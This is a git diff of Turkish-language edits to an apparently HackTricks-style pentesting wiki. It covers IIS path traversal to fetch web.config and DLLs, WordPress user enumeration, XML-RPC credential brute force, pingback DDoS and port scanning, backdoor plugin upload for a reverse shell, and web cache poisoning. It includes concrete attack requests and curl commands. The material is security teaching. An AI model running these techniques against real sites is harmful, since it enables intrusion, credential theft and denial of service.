![](../../images/img12.png) diff --git a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md index 3d72d68d3..d8cd70f88 100644 --- a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md +++ b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md @@ -11,7 +11,7 @@ Test edilebilir dosya uzantıları: ## Dahili IP Adresi ifşası -302 aldığınız herhangi bir IIS sunucusunda, Host başlığını kaldırmayı deneyebilir ve HTTP/1.0 kullanabilirsiniz; yanıtta Location başlığı size dahili IP adresini gösterebilir: +302 aldığınız herhangi bir IIS sunucusunda, Host başlığını kaldırmayı ve HTTP/1.0 kullanmayı deneyebilirsiniz ve yanıtın içinde Location başlığı size dahili IP adresini gösterebilir: ``` nc -v domain.com 80 openssl s_client -connect domain.com:443 @@ -29,19 +29,19 @@ X-FEServer: NHEXCHANGE2016 ``` ## .config dosyalarını çalıştırma -.config dosyalarını yükleyebilir ve bunları kod çalıştırmak için kullanabilirsiniz. Bunu yapmanın bir yolu, dosyanın sonuna bir HTML yorumu içinde kod eklemektir: [Örneği buradan indirin](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config) +.config dosyalarını yükleyebilir ve bunları kod çalıştırmak için kullanabilirsiniz. Bunu yapmanın bir yolu, dosyanın sonuna bir HTML yorumu içinde kod eklemektir: [Örnek indirin](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config) -Bu güvenlik açığını istismar etmek için daha fazla bilgi ve teknikler [burada](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/) bulunmaktadır. +Bu güvenlik açığını istismar etmek için daha fazla bilgi ve teknikler [burada](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/) ## IIS Keşif Bruteforce -Benim oluşturduğum listeyi indirin: +Oluşturduğum listeyi indirin: {{#file}} iisfinal.txt {{#endfile}} -Bu, aşağıdaki listelerin içeriklerini birleştirerek oluşturulmuştur: +Aşağıdaki listelerin içeriklerini birleştirerek oluşturuldu: [https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\ [http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\ @@ -52,15 +52,15 @@ Bu, aşağıdaki listelerin içeriklerini birleştirerek oluşturulmuştur: Bunu herhangi bir uzantı eklemeden kullanın, gerekli olan dosyalar zaten buna sahiptir. -## Yol Traversali +## Yol Traversal ### Kaynak kodunu sızdırma Tam yazımı kontrol edin: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html) > [!NOTE] -> Özetle, uygulamanın klasörlerinde "**assemblyIdentity**" dosyalarına ve "**namespaces**" referanslarına sahip birkaç web.config dosyası bulunmaktadır. Bu bilgilerle **çalıştırılabilir dosyaların nerede bulunduğunu** bilmek ve bunları indirmek mümkündür.\ -> **İndirilen Dll'lerden** yeni **namespaces** bulmak ve web.config dosyasına erişmek için denemeler yapabilirsiniz.\ +> Özet olarak, uygulamanın klasörlerinde "**assemblyIdentity**" dosyalarına ve "**namespaces**" referanslarına sahip birkaç web.config dosyası bulunmaktadır. Bu bilgilerle **çalıştırılabilir dosyaların nerede bulunduğunu** bilmek ve bunları indirmek mümkündür.\ +> **İndirilen Dll'lerden** ayrıca **yeni namespace'ler** bulmak ve yeni namespace'ler ve assemblyIdentity bulmak için web.config dosyasına erişmeye çalışmak mümkündür.\ > Ayrıca, **connectionstrings.config** ve **global.asax** dosyaları ilginç bilgiler içerebilir. **.Net MVC uygulamalarında**, **web.config** dosyası, uygulamanın bağımlı olduğu her ikili dosyayı **"assemblyIdentity"** XML etiketleri aracılığıyla belirterek kritik bir rol oynar. @@ -68,7 +68,7 @@ Tam yazımı kontrol edin: [https://blog.mindedsecurity.com/2018/10/from-path-tr ### **İkili Dosyaları Keşfetme** **web.config** dosyasına erişim örneği aşağıda gösterilmiştir: -```markup +```html GET /download_page?id=..%2f..%2fweb.config HTTP/1.1 Host: example-mvc-application.minded ``` @@ -89,22 +89,22 @@ Kök dizinde bulunan **/global.asax** ve hassas şifreler içeren **/connections ### **Ad Alanları ve Web.Config** MVC uygulamaları, her dosyada tekrarlayan bildirimlerden kaçınmak için belirli ad alanları için ek **web.config dosyaları** tanımlar; bu, başka bir **web.config** indirme isteği ile gösterilmiştir: -```markup +```html GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1 Host: example-mvc-application.minded ``` ### **DLL'leri İndirme** -Özel bir ad alanının belirtilmesi, /bin dizininde bulunan "**WebApplication1**" adlı bir DLL'ye işaret eder. Bunu takiben, **WebApplication1.dll** indirme isteği gösterilmektedir: -```markup +Özel bir ad alanının belirtilmesi, /bin dizininde bulunan "**WebApplication1**" adlı bir DLL'ye işaret eder. Bunu takiben, **WebApplication1.dll** dosyasını indirmek için bir istek gösterilmektedir: +```html GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1 Host: example-mvc-application.minded ``` Bu, /bin dizininde **System.Web.Mvc.dll** ve **System.Web.Optimization.dll** gibi diğer önemli DLL'lerin varlığını önerir. -Bir DLL'nin **WebApplication1.Areas.Minded** adlı bir ad alanını içe aktardığı bir senaryoda, bir saldırgan, /bin klasöründeki diğer DLL'lere özel yapılandırmalar ve referanslar içeren, **/area-name/Views/** gibi öngörülebilir yollarda başka web.config dosyalarının varlığını çıkarabilir. Örneğin, **/Minded/Views/web.config** için bir istek, başka bir DLL'nin varlığını gösteren yapılandırmaları ve ad alanlarını açığa çıkarabilir, **WebApplication1.AdditionalFeatures.dll**. +Bir DLL'nin **WebApplication1.Areas.Minded** adlı bir ad alanını içe aktardığı bir senaryoda, bir saldırgan, /bin klasöründeki diğer DLL'lere özel yapılandırmalar ve referanslar içeren, **/area-name/Views/** gibi öngörülebilir yollarda başka web.config dosyalarının varlığını çıkarabilir. Örneğin, **/Minded/Views/web.config** için bir istek, başka bir DLL'nin varlığını gösteren yapılandırmaları ve ad alanlarını açığa çıkarabilir, bu DLL **WebApplication1.AdditionalFeatures.dll** olabilir. -### Ortak dosyalar +### Yaygın dosyalar From [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/) ``` @@ -192,12 +192,12 @@ Aşağıdaki gibi bir hata görüyorsanız: Bu, sunucunun **Host başlığı içinde doğru alan adını almadığı** anlamına gelir.\ Web sayfasına erişmek için sunulan **SSL Sertifikasına** bakabilir ve belki orada alan/ad alanı adını bulabilirsiniz. Eğer orada yoksa, doğru olanı bulana kadar **VHosts'ü brute force** yapmanız gerekebilir. -## İncelenmesi gereken Eski IIS zafiyetleri +## Bakılması gereken eski IIS zafiyetleri -### Microsoft IIS tilde karakteri “\~” Zafiyeti/Özelliği – Kısa Dosya/Klasör Adı Sızıntısı +### Microsoft IIS tilde karakteri “\~” Zafiyeti/Özelliği – Kısa Dosya/Klasör Adı Sızdırma Bu **teknik** ile her keşfedilen klasörün içinde **klasörleri ve dosyaları listelemeyi** deneyebilirsiniz (temel kimlik doğrulama gerektirse bile).\ -Bu tekniğin ana sınırlaması, sunucu zayıfsa, **her dosya/klasörün adının ilk 6 harfini ve dosyaların uzantısının ilk 3 harfini bulabilmesidir**. +Bu tekniğin ana sınırlaması, sunucu zayıfsa, **her dosya/klasörün adının ilk 6 harfini ve dosyaların uzantısının ilk 3 harfini** bulabilmesidir. Bu zafiyeti test etmek için [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) kullanabilirsiniz:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/` @@ -239,9 +239,9 @@ ASPXAUTH aşağıdaki bilgileri kullanır: Ancak, bazı insanlar bu parametrelerin **varsayılan değerlerini** kullanacak ve **kullanıcının e-posta adresini çerez olarak** kullanacaktır. Bu nedenle, ASPXAUTH çerezini kullanan **aynı platformda** bir web bulabilirseniz ve saldırı altındaki sunucuda **taklit etmek istediğiniz kullanıcının e-posta adresiyle bir kullanıcı oluşturursanız**, **ikinci sunucudan çerezi birincisinde kullanabilir** ve kullanıcıyı taklit edebilirsiniz.\ Bu saldırı bu [**yazıda**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19) çalıştı. -## Önbelleğe alınmış şifrelerle IIS Kimlik Doğrulama Atlatma (CVE-2022-30209) +## Önbelleklenmiş şifrelerle IIS Kimlik Doğrulama Atlatma (CVE-2022-30209) -[Burada tam rapor](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Kullanıcının verdiği şifreyi **doğru bir şekilde kontrol etmeyen** bir kod hatası, bu nedenle **şifre hash'i önbellekte** zaten bulunan bir anahtara denk gelen bir saldırgan, o kullanıcı olarak giriş yapabilecektir. +[Tam rapor burada](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Kullanıcının verdiği şifreyi **doğru bir şekilde kontrol etmeyen** bir kod hatası, **şifre hash'i önbellekte** zaten bulunan bir anahtara denk gelen bir saldırganın o kullanıcı olarak giriş yapabilmesine neden olur. ```python # script for sanity check > type test.py diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index b9371f74e..915fc31e9 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -5,7 +5,7 @@ ## Temel Bilgiler - **Yüklenen** dosyalar şuraya gider: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **Temalar dosyaları /wp-content/themes/ içinde bulunabilir,** bu nedenle RCE elde etmek için temanın bazı php dosyalarını değiştirirseniz muhtemelen bu yolu kullanacaksınız. Örneğin: **theme twentytwelve** kullanarak **404.php** dosyasına şuradan **erişebilirsiniz**: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Temalar dosyaları /wp-content/themes/ içinde bulunabilir,** bu nedenle RCE elde etmek için temanın bazı php dosyalarını değiştirirseniz muhtemelen bu yolu kullanacaksınız. Örneğin: **twentytwelve teması** kullanarak **404.php** dosyasına şuradan **erişebilirsiniz**: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **Başka bir yararlı url olabilir:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) @@ -26,11 +26,11 @@ - `wp-content` klasörü, eklentilerin ve temaların saklandığı ana dizindir. - `wp-content/uploads/` Platforma yüklenen dosyaların saklandığı dizindir. - `wp-includes/` Sertifikalar, fontlar, JavaScript dosyaları ve widget'lar gibi çekirdek dosyaların saklandığı dizindir. -- `wp-sitemap.xml` WordPress sürümleri 5.5 ve üzeri, tüm kamuya açık gönderiler ve kamuya sorgulanabilir gönderi türleri ve taksonomiler ile bir harita XML dosyası oluşturur. +- `wp-sitemap.xml` WordPress sürümleri 5.5 ve üzeri için, WordPress tüm kamuya açık gönderiler ve kamuya sorgulanabilir gönderi türleri ve taksonomiler ile bir sitemap XML dosyası oluşturur. -**Post exploitation** +**Sonrası istismar** -- `wp-config.php` dosyası, WordPress'in veritabanına bağlanmak için gerekli bilgileri içerir; bu bilgiler arasında veritabanı adı, veritabanı sunucusu, kullanıcı adı ve şifre, kimlik doğrulama anahtarları ve tuzlar ile veritabanı tablo ön eki bulunur. Bu yapılandırma dosyası ayrıca DEBUG modunu etkinleştirmek için de kullanılabilir, bu da sorun gidermede yararlı olabilir. +- `wp-config.php` dosyası, WordPress'in veritabanına bağlanmak için gerekli bilgileri içerir; veritabanı adı, veritabanı sunucusu, kullanıcı adı ve şifre, kimlik doğrulama anahtarları ve tuzlar ile veritabanı tablo ön eki. Bu yapılandırma dosyası ayrıca DEBUG modunu etkinleştirmek için de kullanılabilir, bu da sorun gidermede yararlı olabilir. ### Kullanıcı İzinleri @@ -83,13 +83,13 @@ Muhtemelen tüm Eklentileri ve Temaları bulamayacaksınız. Hepsini keşfetmek ### Kullanıcılar -- **ID Brute:** Bir WordPress sitesinden geçerli kullanıcıları Brute Force ile kullanıcı ID'lerini alarak elde edersiniz: +- **ID Brute:** Bir WordPress sitesinden kullanıcı ID'lerini Brute Force yaparak geçerli kullanıcılar elde edersiniz: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` Eğer yanıtlar **200** veya **30X** ise, bu id'nin **geçerli** olduğu anlamına gelir. Eğer yanıt **400** ise, o zaman id **geçersiz**dir. -- **wp-json:** Kullanıcılar hakkında bilgi almak için şu sorguyu deneyebilirsiniz: +- **wp-json:** Kullanıcılar hakkında bilgi almak için şunu sorgulamayı da deneyebilirsiniz: ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` @@ -105,12 +105,12 @@ Ayrıca **/wp-json/wp/v2/pages** IP adreslerini sızdırabilir. ### XML-RPC -Eğer `xml-rpc.php` aktifse, kimlik bilgileri için bir brute-force saldırısı gerçekleştirebilir veya bunu diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (Bu süreci otomatikleştirmek için [bunu](https://github.com/relarizky/wpxploit) kullanabilirsiniz, örneğin). +Eğer `xml-rpc.php` aktifse, kimlik bilgileri için brute-force saldırısı gerçekleştirebilir veya bunu diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (Bu süreci otomatikleştirmek için [bunu](https://github.com/relarizky/wpxploit) kullanabilirsiniz, örneğin). Aktif olup olmadığını görmek için _**/xmlrpc.php**_ adresine erişmeyi deneyin ve bu isteği gönderin: **Kontrol Et** -```markup +```html system.listMethods @@ -120,8 +120,8 @@ Aktif olup olmadığını görmek için _**/xmlrpc.php**_ adresine erişmeyi den **Kimlik Bilgileri Kaba Kuvvet** -**`wp.getUserBlogs`**, **`wp.getCategories`** veya **`metaWeblog.getUsersBlogs`** kimlik bilgilerini kaba kuvvetle kırmak için kullanılabilecek bazı yöntemlerdir. Eğer bunlardan herhangi birini bulursanız, şöyle bir şey gönderebilirsiniz: -```markup +**`wp.getUserBlogs`**, **`wp.getCategories`** veya **`metaWeblog.getUsersBlogs`** kimlik bilgilerini kaba kuvvetle elde etmek için kullanılabilecek bazı yöntemlerdir. Eğer bunlardan herhangi birini bulursanız, şöyle bir şey gönderebilirsiniz: +```html wp.getUsersBlogs @@ -137,7 +137,7 @@ Mesaj _"Geçersiz kullanıcı adı veya şifre"_ 200 kodlu bir yanıt içinde, k ![](<../../images/image (721).png>) Doğru kimlik bilgilerini kullanarak bir dosya yükleyebilirsiniz. Yanıtta yol görünecektir ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) -```markup +```html wp.uploadFile @@ -166,7 +166,7 @@ Doğru kimlik bilgilerini kullanarak bir dosya yükleyebilirsiniz. Yanıtta yol ``` -Ayrıca, aynı istekte birden fazla kimlik bilgisi denemek için **`system.multicall`** kullanarak kimlik bilgilerini brute-force yapmanın **daha hızlı bir yolu** vardır: +Ayrıca, aynı istekte birkaç kimlik bilgisi denemek için **`system.multicall`** kullanarak kimlik bilgilerini kırmanın **daha hızlı bir yolu** vardır:
@@ -176,9 +176,9 @@ Bu yöntem programlar için tasarlanmıştır ve insanlar için değil, ayrıca **DDoS veya port taraması** -Eğer listede _**pingback.ping**_ yöntemini bulursanız, Wordpress'in herhangi bir host/port'a keyfi bir istek göndermesini sağlayabilirsiniz.\ -Bu, **binlerce** Wordpress **sitesinin** bir **konuma** **erişim** sağlaması için istek yapmasını sağlamak için kullanılabilir (bu durumda o konumda bir **DDoS** meydana gelir) veya **Wordpress**'in bazı iç **ağları** **taramasını** sağlamak için kullanılabilir (herhangi bir portu belirtebilirsiniz). -```markup +Eğer listede _**pingback.ping**_ yöntemini bulursanız, Wordpress'in herhangi bir ana bilgisayara/porta keyfi bir istek göndermesini sağlayabilirsiniz.\ +Bu, **binlerce** Wordpress **sitesinin** bir **konuma** **erişmesini** istemek için kullanılabilir (bu durumda o konumda bir **DDoS** meydana gelir) veya **Wordpress**'in bazı dahili **ağları** **taramasını** sağlamak için kullanabilirsiniz (herhangi bir portu belirtebilirsiniz). +```html pingback.ping @@ -191,10 +191,10 @@ Bu, **binlerce** Wordpress **sitesinin** bir **konuma** **erişim** sağlaması Eğer **faultCode** değeri **0**'dan **büyük** (17) ise, bu portun açık olduğu anlamına gelir. -DDoS oluşturmak için bu yöntemi nasıl kötüye kullanacağınızı öğrenmek için önceki bölümdeki **`system.multicall`** kullanımına bakın. +Bu yöntemi kötüye kullanarak DDoS oluşturmayı öğrenmek için önceki bölümdeki **`system.multicall`** kullanımına bakın. **DDoS** -```markup +```html pingback.ping @@ -237,7 +237,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec ``` ## Bir biti üzerine yazarak erişim elde et -Gerçek bir saldırıdan çok bir merak. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasından 1 biti değiştirebilirsiniz. Böylece `/var/www/html/wp-includes/user.php` dosyasının `5389` konumunu NOP yapmak için NOT (`!`) işlemini değiştirebilirsiniz. +Gerçek bir saldırıdan çok bir merak. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasından 1 biti değiştirebilirsiniz. Böylece `/var/www/html/wp-includes/user.php` dosyasının `5389` konumunu NOP (`!`) işlemini devre dışı bırakacak şekilde değiştirebilirsiniz. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( @@ -266,8 +266,8 @@ to get a session. ### PHP eklentisi -Eklenti olarak .php dosyaları yüklemek mümkün olabilir.\ -Örneğin, php backdoor'unuzu oluşturun: +Eklenti olarak .php dosyalarını yüklemek mümkün olabilir.\ +Örneğin, php arka kapınızı oluşturun: ![](<../../images/image (183).png>) @@ -287,7 +287,7 @@ Muhtemelen bu görünüşte hiçbir şey yapmayacak, ancak Medya'ya giderseniz, ![](<../../images/image (462).png>) -Erişin ve ters shell'i çalıştırmak için URL'yi göreceksiniz: +Erişim sağlayın ve ters shell'i çalıştırmak için URL'yi göreceksiniz: ![](<../../images/image (1006).png>) @@ -302,21 +302,21 @@ Bu yöntem, bilinen bir zafiyete sahip kötü niyetli bir eklentinin yüklenmesi 3. **Eklenti Etkinleştirme**: Eklenti başarıyla yüklendikten sonra, kontrol paneli aracılığıyla etkinleştirilmelidir. 4. **İstismar**: - "reflex-gallery" eklentisi yüklü ve etkinleştirildiğinde, bilinen bir zafiyet olduğu için istismar edilebilir. -- Metasploit çerçevesi, bu zafiyet için bir istismar sağlar. Uygun modülü yükleyerek ve belirli komutları çalıştırarak, meterpreter oturumu kurulabilir ve siteye yetkisiz erişim sağlanabilir. +- Metasploit çerçevesi, bu zafiyet için bir istismar sağlar. Uygun modülü yükleyerek ve belirli komutları çalıştırarak, meterpreter oturumu oluşturulabilir ve siteye yetkisiz erişim sağlanabilir. - Bunun, bir WordPress sitesini istismar etmenin birçok yönteminden sadece biri olduğu belirtilmektedir. -İçerik, eklentiyi yükleme ve etkinleştirme adımlarını gösteren görsel yardımlar içermektedir. Ancak, bu şekilde zafiyetleri istismar etmenin yasal ve etik olmadığına dikkat edilmelidir. Bu bilgi, yalnızca açık izinle yapılan penetrasyon testleri gibi yasal bir bağlamda sorumlu bir şekilde kullanılmalıdır. +İçerik, eklentiyi yükleme ve etkinleştirme adımlarını gösteren görsel yardımlar içermektedir. Ancak, bu şekilde zafiyetleri istismar etmenin yasal izin olmadan yasadışı ve etik dışı olduğunu belirtmek önemlidir. Bu bilgi, yalnızca yasal bir bağlamda, açık izinle penetrasyon testi gibi sorumlu bir şekilde kullanılmalıdır. **Daha ayrıntılı adımlar için kontrol edin:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) ## XSS'den RCE'ye -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_, **Cross-Site Scripting (XSS)** zafiyetini **Remote Code Execution (RCE)** veya WordPress'teki diğer kritik zafiyetlere yükseltmek için tasarlanmış bir betiktir. Daha fazla bilgi için [**bu gönderiye**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) bakın. **WordPress Sürümleri 6.X.X, 5.X.X ve 4.X.X için destek sağlar ve şunları yapmanıza olanak tanır:** +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_, **Cross-Site Scripting (XSS)** zafiyetini **Remote Code Execution (RCE)** veya diğer kritik zafiyetlere yükseltmek için tasarlanmış bir betiktir. Daha fazla bilgi için [**bu gönderiye**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) bakın. **WordPress Sürümleri 6.X.X, 5.X.X ve 4.X.X için destek sağlar ve şunları yapmanıza olanak tanır:** - _**Yetki Yükseltme:**_ WordPress'te bir kullanıcı oluşturur. -- _**(RCE) Özel Eklenti (backdoor) Yükleme:**_ Özel eklentinizi (backdoor) WordPress'e yükleyin. +- _**(RCE) Özel Eklenti (arka kapı) Yükleme:**_ Özel eklentinizi (arka kapı) WordPress'e yükleyin. - _**(RCE) Yerleşik Eklenti Düzenleme:**_ WordPress'teki Yerleşik Eklentileri düzenleyin. - _**(RCE) Yerleşik Tema Düzenleme:**_ WordPress'teki Yerleşik Temaları düzenleyin. -- _**(Özel) Özel İstismarlar:**_ Üçüncü Taraf WordPress Eklentileri/Tema'ları için Özel İstismarlar. +- _**(Özel) Özel İstismarlar:**_ Üçüncü Taraf WordPress Eklentileri/Tema için Özel İstismarlar. ## İstismar Sonrası @@ -336,7 +336,7 @@ Bir Wordpress eklentisinin işlevselliği nasıl açığa çıkarabileceğini bi - **`wp_ajax`** -Bir eklentinin işlevleri kullanıcılara açığa çıkarmanın yollarından biri AJAX işleyicileri aracılığıyladır. Bunlar, mantık, yetkilendirme veya kimlik doğrulama hataları içerebilir. Ayrıca, bu işlevlerin genellikle hem kimlik doğrulama hem de yetkilendirmeyi, **herhangi bir kullanıcı Wordpress örneğinde mevcut olabilecek** bir wordpress nonce'un varlığına dayandırması sık rastlanan bir durumdur (rolünden bağımsız olarak). +Bir eklentinin işlevleri kullanıcılara açığa çıkarmanın yollarından biri AJAX işleyicileri aracılığıyladır. Bunlar, mantık, yetkilendirme veya kimlik doğrulama hataları içerebilir. Ayrıca, bu işlevlerin genellikle hem kimlik doğrulama hem de yetkilendirmeyi, **herhangi bir kullanıcı tarafından Wordpress örneğinde sahip olunabilecek** bir wordpress nonce'un varlığına dayandırması sık rastlanan bir durumdur (rolünden bağımsız olarak). Bir eklentide bir işlevi açığa çıkarmak için kullanılabilecek işlevler şunlardır: ```php @@ -350,7 +350,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); - **REST API** -Ayrıca, `register_rest_route` fonksiyonunu kullanarak wordpress'ten fonksiyonları bir rest AP ile açmak da mümkündür: +WordPress'ten fonksiyonları, `register_rest_route` fonksiyonunu kullanarak bir rest AP kaydederek açığa çıkarmak da mümkündür: ```php register_rest_route( $this->namespace, '/get/', array( @@ -378,7 +378,7 @@ define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` -Ayrıca, **güvenilir WordPress eklentileri ve temaları yalnızca yükleyin**. +Ayrıca, **sadece güvenilir WordPress eklentileri ve temaları yükleyin**. ### Güvenlik Eklentileri diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index 45b03ae99..b305e25e7 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -6,7 +6,7 @@ > **Web cache poisoning ile web cache deception arasındaki fark nedir?** > -> - **Web cache poisoning**'de, saldırgan uygulamanın önbelleğe bazı kötü niyetli içerikler depolamasını sağlar ve bu içerik önbellekten diğer uygulama kullanıcılarına sunulur. +> - **Web cache poisoning**'de, saldırgan uygulamanın önbelleğe bazı kötü niyetli içerikler depolamasını sağlar ve bu içerik, önbellekten diğer uygulama kullanıcılarına sunulur. > - **Web cache deception**'da, saldırgan uygulamanın başka bir kullanıcıya ait bazı hassas içerikleri önbelleğe depolamasını sağlar ve ardından bu içeriği önbellekten geri alır. ## Cache Poisoning @@ -23,9 +23,9 @@ Cache poisoning saldırısının gerçekleştirilmesi birkaç adım içerir: Genellikle, bir yanıt **önbelleğe kaydedildiğinde** bununla ilgili bir **başlık olacaktır**, hangi başlıklara dikkat etmeniz gerektiğini bu yazıda kontrol edebilirsiniz: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). -### Keşif: Önbellek hata kodlarını kontrol et +### Keşif: Önbellek hata kodları -Eğer yanıtın bir önbelleğe kaydedildiğini düşünüyorsanız, **kötü bir başlıkla istek göndermeyi** deneyebilirsiniz; bu, **400 durum kodu** ile yanıtlanmalıdır. Ardından isteği normal bir şekilde erişmeyi deneyin ve eğer **yanıt 400 durum koduysa**, bunun zayıf olduğunu bilirsiniz (ve hatta bir DoS gerçekleştirebilirsiniz). +Yanıtın bir önbelleğe kaydedildiğini düşünüyorsanız, **kötü bir başlıkla istek göndermeyi** deneyebilirsiniz; bu, **400 durum kodu** ile yanıtlanmalıdır. Ardından isteği normal bir şekilde erişmeyi deneyin ve eğer **yanıt 400 durum koduysa**, bunun zayıf olduğunu bilirsiniz (ve hatta bir DoS gerçekleştirebilirsiniz). Daha fazla seçenek bulabilirsiniz: @@ -35,28 +35,28 @@ cache-poisoning-to-dos.md Ancak, **bazen bu tür durum kodlarının önbelleğe alınmadığını** unutmayın, bu nedenle bu test güvenilir olmayabilir. -### Keşif: Anahtarsız girdileri tanımla ve değerlendir +### Keşif: Anahtarsız girdileri tanımlayın ve değerlendirin -Yanıtı değiştirebilecek **parametreleri ve başlıkları brute-force** yapmak için [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) kullanabilirsiniz. Örneğin, bir sayfa istemcinin buradan script yüklemesini belirtmek için `X-Forwarded-For` başlığını kullanıyor olabilir: -```markup +Yanıtı **değiştiren parametreler ve başlıklar** için [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) kullanarak **kaba kuvvet** uygulayabilirsiniz. Örneğin, bir sayfa `X-Forwarded-For` başlığını kullanarak istemcinin oradan script yüklemesini belirtiyor olabilir: +```html ``` ### Arka uç sunucudan zararlı bir yanıt elde etme -Parametre/başlık belirlendikten sonra, **nasıl** **temizlendiğini** ve **nerede** **yansıtıldığını** veya başlıktan gelen yanıtı nasıl etkilediğini kontrol edin. Bunu herhangi bir şekilde kötüye kullanabilir misiniz (bir XSS gerçekleştirmek veya kontrolünüzde bir JS kodu yüklemek? bir DoS gerçekleştirmek?...) +Parametre/başlık belirlendikten sonra, **temizlenme** şekline ve **nerede** **yansıtıldığına** veya başlıktan gelen yanıtı nasıl etkilediğine bakın. Bunu herhangi bir şekilde kötüye kullanabilir misiniz (bir XSS gerçekleştirmek veya kontrolünüzde bir JS kodu yüklemek? bir DoS gerçekleştirmek?...) ### Yanıtı önbelleğe alma Kötüye kullanılabilecek **sayfayı** **belirledikten** sonra, hangi **parametre**/**başlık** kullanılacağını ve **nasıl** kötüye kullanılacağını bilmeniz gerekir, sayfayı önbelleğe almanız gerekir. Önbelleğe almak istediğiniz kaynağa bağlı olarak bu biraz zaman alabilir, birkaç saniye boyunca denemeye devam etmeniz gerekebilir. -Yanıt içindeki **`X-Cache`** başlığı, isteğin önbelleğe alınmadığında **`miss`** değerine ve önbelleğe alındığında **`hit`** değerine sahip olabileceğinden çok faydalı olabilir.\ +Yanıt içindeki **`X-Cache`** başlığı çok faydalı olabilir çünkü istek önbelleğe alınmadığında **`miss`** değerine ve önbelleğe alındığında **`hit`** değerine sahip olabilir.\ **`Cache-Control`** başlığı da bir kaynağın önbelleğe alınıp alınmadığını ve kaynağın bir sonraki ne zaman önbelleğe alınacağını bilmek için ilginçtir: `Cache-Control: public, max-age=1800` -Bir diğer ilginç başlık **`Vary`**. Bu başlık, genellikle **önbellek anahtarı** olarak **işlem gören ek başlıkları** **belirtmek için** kullanılır, normalde anahtarsız olsalar bile. Bu nedenle, kullanıcı hedeflediği kurbanın `User-Agent`'ını biliyorsa, o belirli `User-Agent`'ı kullanan kullanıcılar için önbelleği zehirleyebilir. +Bir diğer ilginç başlık **`Vary`**. Bu başlık genellikle **önbellek anahtarı** olarak **işlem gören ek başlıkları** **belirtmek için** kullanılır, normalde anahtarsız olsalar bile. Bu nedenle, hedeflediği kurbanın `User-Agent`'ını bilen bir kullanıcı, o belirli `User-Agent`'ı kullanan kullanıcılar için önbelleği zehirleyebilir. Önbellekle ilgili bir başlık daha **`Age`**. Bu, nesnenin proxy önbelleğinde kaç saniye kaldığını tanımlar. -Bir isteği önbelleğe alırken, kullandığınız başlıklarla **dikkatli olun** çünkü bazıları **beklenmedik şekilde** **anahtarlı** olarak **kullanılabilir** ve **kurbanın o aynı başlığı kullanması gerekecektir**. Her zaman **farklı tarayıcılarla** bir Cache Poisoning'i 